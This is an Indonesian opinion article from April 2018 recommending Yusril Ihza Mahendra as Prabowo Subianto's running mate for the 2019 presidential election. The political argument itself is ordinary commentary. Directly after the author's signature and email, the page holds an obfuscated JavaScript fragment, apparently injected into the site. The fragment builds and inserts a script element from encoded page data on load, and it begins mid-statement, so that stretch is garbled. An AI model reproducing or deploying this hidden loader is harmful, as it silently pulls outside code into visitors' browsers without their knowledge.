“PRABOWO SUBIANTO – YUSRIL IHZA MAHENDRA”

SEBUAH Negara tentunya sangat memerlukan seorang pemimpin yang memiliki kriteria cerdas, yang lahir melalui proses nan panjang.

Ini merupakan syarat mutlak yang tidak bisa ditawar, bila negara itu hendak maju, aman, damai dan tetap memiliki eksistensi.

Karena harapan seluruh rakyat negara itu tertumpu pada pemimpin tersebut. Khusus untuk Indonesia, Presiden harus benar-benar ahli. Sebab Presiden ibarat seorang pilot pesawat, nasib sekitar 250 juta penumpang, tergantung padanya.

Kebetulan saat ini, sedang terjadi hiruk pikuk terkait Pemilu Presiden dan Wakil Presiden NKRI.

Maka dalam kesempatan ini, penulis akan menulis tentang siapa figur yang punya kapasitas menjadi Calon Presiden dan Wakil Presiden, sebagai pesaing Presiden Jokowi untuk memimpin Indonesia periode 2019-2024 mendatang.

Tulisan ini merupakan telaah dan kajian penulis secara obyektif berdasarkan data empiris terhadap figur Capres dan Cawapres yang penulis tulis. Namun tulisan ini, tidak punya agenda atau tujuan lain, selain demi kemajuan dan kesejahteraan Bangsa Indonesia ke depan.

Berhubung Prabowo Subianto hampir dapat dipastikan bakal maju sebagai Capres, dimana beliau adalah Ketua Umum Partai Gerindra, yang mempunyai anggota DPR, sehingga dapat mencalonkan Presiden dan Wakil Presiden, jika berkoalisi dengan PKS atau partai lain. Maka disini, penulis hanya akan menelaah terhadap siapa figur Cawapres Prabowo.

Nah, oleh sebab itu, berdasarkan penelaahan penulis atas data empiris, maka penulis berpendapat, Yusril Ihza Mahendra dapat dipertimbangkan sebagai Cawapres oleh Prabowo dan partai koalisinya, apabila hendak mencapai keberhasilan Pilpres 2019, yang pendaftarannya akan dimulai pada 4-10 Agustus 2018 mendatang.

Tentu masih banyak Cawapres yang layak, bukan hanya Yusril. Namun, dalam kesempatan kali ini, penulis hanya ingin menelaah sosok Yusril.

Adapun kajian penulis adalah sebagai berikut:

Dari sisi akademik, intelektual dan cendikiawan, figur Yusril cukup memadai.

Dari segi pengalaman sebagai politisi, Yusril adalah politisi yang lahir melalui proses nan panjang, yang tentunya memiliki pengalaman nan panjang pula.

Lalu, Yusril adalah Ketum PBB, dimana PBB adalah Partai Islam yang moderat dan berkebangsaan.

Sosok Yusril sendiri, merupakan tokoh yang sangat memahami, bahwa Pembukaan UUD 1945 merupakan kesepakatan dari semua elemen bangsa Indonesia, yang tak akan dirubah menjadi Negara Republik Islam Indonesia. Maka bagi rakyat Indonesia yang bukan Muslim, tidak perlu takut NKRI menjadi Negara Islam seperti Iran, Malaysia, Arab Saudi atau negara-negara Islam lainnya, bila nantinya Yusril terpilih sebagai pemimpin negara. Tapi terhadap sosok lain, penulis tidak mengetahui, karena penulis tidak menelaahnya.

Sebagai Tokoh Nasional dan juga sebagai seorang ahli Hukum Tata Negara, tentunya Yisril sangat tahu persis sejarah lahirnya UUD 1945, dimana proses lahirnya merupakan hasil kompromi dari seluruh elemen Bangsa Indonesia, terutama dari rakyat Indonesia Timur. Mengacu hal itulah, maka seluruh Bangsa Indonesia sepakat, tidak akan merubah Pembukaan UUD 1945.

Apalagi jika mengupas jejaknya, Yusril sempat menjadi Calon Gubernur DKI Jakarta periode 2017-2022, lalu. Walaupun saat itu, beliau gagal mengikuti pilkada tersebut. Tapi meski demikian, organisasi-organisasi, komunitas-komunitas dan banyak masyarakat DKI, diyakini sampai saat ini, masih setia dan bersimpati pada beliau.

Ketika PBB dinyatakan tidak lolos sebagai peserta pemilu 2019, karena diduga adanya kesalahan teknis oleh KPU, maka banyak rakyat Indonesia bersimpati kepada PBB. Bahkan saat itu, muncul fenomena baru yang dapat menambah dukungan suara terhadap PBB.

Yusril adalah figur yang paling setia membela kepentingan hukum Hizbut Tahrir Indonesia (HTI), maka dapat diperkirakan anggota HTI akan memilih Yusril. Berapa perkiraan jumlah anggota HTI ? Sidney Jones, Direktur Institute for Policy Analysis of Conflict mengatakan, ada 40.000 orang dan dengan jumlah simpatisan yang bisa mencapai 5 kali lipat dari jumlah anggota resminya.

Yusril dan PBB mendapat doa dan dukungan dari Ketua NU Said Aqil Siradj dan dari banyak ulama NU, Muhammaddiyah, Pimpinan DDI, Persis, FPI dan ormas-ormas Islam lain ketika PBB melawan KPU pada saat PBB dinyatakan tidak lolos Pemilu 2019.

Yusril ditunjuk oleh Asosiasi Pemerintahan Desa Seluruh Indonesia (Apdesi) sebagai kuasa hukum untuk mengajukan uji materil atau judicial review atas UU No. 6 tahun 2014 ke MK dan MA karena dinilai merugikan para Kepala Desa yang ingin mencalonkan diri dalam Pilkada Legislatif. Pembelaan ini akan mengakibatkan banyak Kepala Desa bersimpati kepadanya.

Demikian tulisan dari penulis untuk dikaji oleh partai-partai yang akan mencalonkan figur Cawapres yang akan datang.

Jakarta, 2 April 2018
Kurnianto Purnama, SH.MH.
kurnianto_purnama@yahoo.com encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

You May Also Like

Leave a Reply

Your email address will not be published. Required fields are marked *